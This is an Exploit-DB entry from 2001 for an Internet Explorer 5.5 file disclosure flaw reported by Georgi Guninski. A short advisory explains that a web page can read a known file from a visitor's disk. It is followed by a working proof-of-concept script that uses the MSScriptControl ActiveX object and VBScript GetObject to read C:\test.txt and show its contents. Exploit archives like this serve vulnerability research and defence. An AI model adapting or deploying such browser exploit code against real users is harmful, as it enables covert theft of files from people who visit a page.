Microsoft Internet Explorer 5.5 File Disclosure Vulnerability

2001-03-31T00:00:00
ID EDB-ID:20903
Type exploitdb
Reporter Georgi Guninski
Modified 2001-03-31T00:00:00

Description

Microsoft Internet Explorer 5.5 File Disclosure Vulnerability. Remote exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/2833/info

Internet Explorer contains a flaw which could enable a remote web site operator to retrieve a known file from a visiting user's system.

If a specially formed script containing GetObject function with the known path to an existing file is embedded on a web page. Once the target user opens the web page, IE will return the contents of the file back to the web server.

It may be possible to execute arbitrary commands, although it has not been confirmed. 

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Security bug in Internet Explorer - MSScriptControl.ScriptControl
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Security bug in Internet Explorer - MSScriptControl.ScriptControl
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<script>
alert("This script reads C:\\TEST.TXT\nYou may need to create it\n")
v=new ActiveXObject("MSScriptControl.ScriptControl.1");
v.Language="VBScript";
x=v.eval('GetObject("c:/test.txt","htmlfile")');
setTimeout("alert(x.body.outerHTML);",2000);
</script>

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